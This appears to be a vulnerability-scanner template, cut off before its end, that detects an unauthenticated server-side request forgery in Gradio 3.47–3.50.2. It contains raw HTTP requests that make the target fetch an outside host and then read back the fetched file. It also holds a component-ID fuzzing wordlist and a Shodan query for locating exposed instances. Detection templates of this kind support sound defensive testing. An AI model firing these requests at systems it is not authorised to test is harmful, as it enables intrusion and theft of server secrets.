id: gradio-ssrf info: name: Gradio 3.47 - 3.50.2 - Server-Side Request Forgery author: nvn1729 severity: high description: | Gradio Full Read SSRF when auth is not enabled, this version should work for versions 3.47 - 3.50.2. reference: - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 epss-percentile: 0.36659 metadata: verified: true max-request: 2 shodan-query: html:"__gradio_mode__" tags: cve,cve2024,unauth,gradio,ssrf http: - raw: - | POST /component_server HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"component_id": "{{fuzz_component_id}}", "data": "http://oast.me", "fn_name": "download_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"} - | GET /file={{download_path}} HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body name: download_path group: 1 regex: - "\"?([^\"]+)" internal: true payloads: fuzz_component_id: helpers/wordlists/numbers.txt stop-at-first-match: true matchers-condition: and matchers: - type: word part: body_2 words: - "